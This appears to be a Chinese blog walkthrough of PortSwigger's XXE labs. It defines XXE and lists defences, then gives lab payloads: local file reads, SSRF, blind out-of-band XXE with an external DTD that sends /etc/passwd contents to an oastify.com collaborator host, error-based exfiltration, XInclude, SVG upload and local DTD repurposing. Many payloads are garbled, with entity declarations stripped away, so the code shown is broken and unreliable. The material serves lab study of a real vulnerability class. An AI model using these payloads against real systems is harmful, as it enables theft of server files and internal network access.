XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)

什么是XXE

XXE(XML External Entity:xml外部实体注入),它出现在使用XML解析器的应用程序中。XXE攻击利用了XML解析器的功能,允许应用程序从外部实体引用加载数据。攻击者可以通过构造恶意的XML实体引用来读取本地文件、执行远程请求或利用其他可用的外部实体来获取敏感信息。

原理

攻击者通过在XML文档中插入恶意的实体引用,诱使应用程序将其解析并加载外部实体。这些外部实体可以是本地文件、远程资源或其他实体。当应用程序解析XML时,如果存在漏洞,它将尝试加载实体的内容并包含在解析过程中。

危害

敏感数据泄露:攻击者可以利用XXE漏洞读取应用程序的敏感数据,如配置文件、密码文件、数据库凭据等。通过构造恶意的实体引用,攻击者可以请求并获取这些敏感信息,从而对系统进行进一步的攻击或滥用。

远程代码执行:在某些情况下,XXE漏洞可以被利用来执行远程代码。攻击者可以构造恶意的实体引用,使应用程序解析并执行外部实体中嵌入的恶意代码。这可能导致服务器被入侵、远程命令执行、拒绝服务攻击等安全问题。

内部资源访问:XXE攻击还可以被用于访问应用程序内部的其他资源。攻击者可以构造实体引用,尝试读取服务器上的文件、访问网络资源或执行其他与应用程序相关的操作。

服务拒绝:通过构造恶意的DTD(Document Type Definition),攻击者可以触发实体扩展攻击,导致内存耗尽或服务拒绝。这会使应用程序无法正常运行或响应其他合法用户的请求。

防御

1、使用安全的XML解析器,如禁用实体解析或限制外部实体的访问权限。
2、验证和过滤输入的XML数据,移除或编码潜在的恶意实体引用。
3、使用白名单验证来限制解析器可以引用的外部实体。
4、避免将用户提供的XML数据与机密信息混合在一起,尤其是在解析XML之前。

具体案例(来源)

利用xxe读取内部文件

基本利用: ]>
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第1张图片

利用xxe执行ssrf

DOCTYPE test []>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第2张图片

带外交互的盲 XXE

DOCTYPE stockCheck [  ]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第3张图片
这里未显示,但是在collaborator选项卡可以看到dns和http的回显:
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第4张图片

通过 XML 参数实体进行带外交互的盲 XXE

DOCTYPE stockCheck [ %xxe; ]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第5张图片
看collaborator选项卡:
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第6张图片

利用盲 XXE 使用恶意外部 DTD 泄露数据

1、首先复制
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第7张图片
2、粘贴:


% exfil SYSTEM 'http://569p7x5tecgdv2nacfkylpe3nutohh56.oastify.com/?x=%file;'>">
%eval;
%exfil;

3、复制服务器恶意dtd文件
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第8张图片
4、构造payload:

DOCTYPE foo [ %xxe;]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第9张图片
5、发送后等待数秒
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第10张图片

利用盲 XXE 通过错误消息检索数据

1、首先远程构造


% exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第11张图片
记住url。
2、构造payload

DOCTYPE foo [ %xxe;]>

3、放包
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第12张图片

利用 XInclude 检索文件

由于您无法控制整个 XML 文档,因此无法定义 DTD 来发起经典的 XXE 攻击。

若要解决实验室问题,请注入一个 XInclude 语句来检索 /etc/passwd 文件的内容。

默认情况下, XInclude 将尝试将包含的文档解析为 XML。由于不是有效的 XML,因此 /etc/passwd 需要向
XInclude 指令添加额外的属性才能更改此行为。

将 productId 参数的值设置为:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/>foo>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第13张图片

通过图像文件上传利用XXE

构造payload:

DOCTYPE test [  ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;text>svg>

制作为.svg格式,上传
XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第14张图片

利用 XXE 通过重新调整本地 DTD 的用途来检索数据

构造payload:

DOCTYPE message [

% file SYSTEM "file:///etc/passwd">
% eval "&#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>

XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)_第15张图片

你可能感兴趣的:(portswigger,网络,安全,web安全)